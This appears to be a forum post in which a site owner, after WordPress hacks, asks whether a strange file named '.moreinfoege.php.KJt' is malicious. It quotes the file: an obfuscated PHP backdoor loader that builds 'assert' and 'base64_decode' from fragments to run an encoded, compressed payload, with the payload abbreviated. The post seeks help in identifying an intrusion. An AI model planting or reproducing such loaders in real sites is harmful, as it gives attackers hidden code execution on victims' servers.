Found an odd file we didn't create in one of our directories.
It was named ".moreinfoege.php.KJt" In the directory we also had a file called moreinfo.php
We've been having server issues lately (WordPress hacks, DDoS attack) so we're obv on high alert for other infiltrations. Is this a hack? What are some of the ways it could have gotten in?
Here's what its contents looked like (long gibberish string abbreviated to fit here):
<?php $IRdphe='as';$lgOULt='e';$UXkpWY=$IRdphe.'s'.$lgOULt.'r'.'t';$kOUHAp='b'.$IRdphe.$lgOULt.(64).'_'.'d'.$lgOULt.'c'.'o'.'d'.$lgOULt;@$UXkpWY(@$kOUHAp('ZXZhbChnemluZmxhdGUoYmFzZTY0X2RlY29kZSgiNWIzcGVsczNzaTc4TzNtZTNNUHlNcnNwZFNocXNHekhsRVVQa3B6NHRHeTVMYVhUT1pJUFEzR1EyT0xVSEN3NzNqblgvcjF2VlFFTElCYzEyRW4zMmZ2eklKRVlDb1ZDb1ZBb0ZBcWQ5bEpuUEc1TmxncTF0M3QvKzNIdjhPaTQrT3JYUnJ2MTl1Zk85NzNpdStYbFQxK1BXK054WjlDdmpTZjEwV1JwZWV2clRudXAxN3lQS204T1dQNm9jL2pYNGNIYlYyYy9vdnoyZHZGQi9XSDkvb1BUK3c4ZWJkNXJ0dGVhemMzNzdYWmpyZG5ZYkt6Zng0L2k4dGVmQ3JYRHZjUERsd2V2ajR0L3ZmaGYzYmQvTzJ0L2VOYi82ZS9EOFVIenhmOCtQVy84OEhxMGU3Zy8yWnYrV255M3ZiNzFHeHU5YzZ0YXdIdzQ2dlFuU2ZxNDJYbWZqQ2NmdTYzdDRuQXc3a3pRbTByOWREem9UaWV0clc2 [...] lY1V281TlEvZUhIMDB6Tld4L0hmb1RTTjg1d0liV3VKVWJPazFCdGNOOGtyOE9iZzdSSGZFWkFyUjRZenFCYnlSTHJGVTUrdDMvNC8iKSkpOw==')); ?>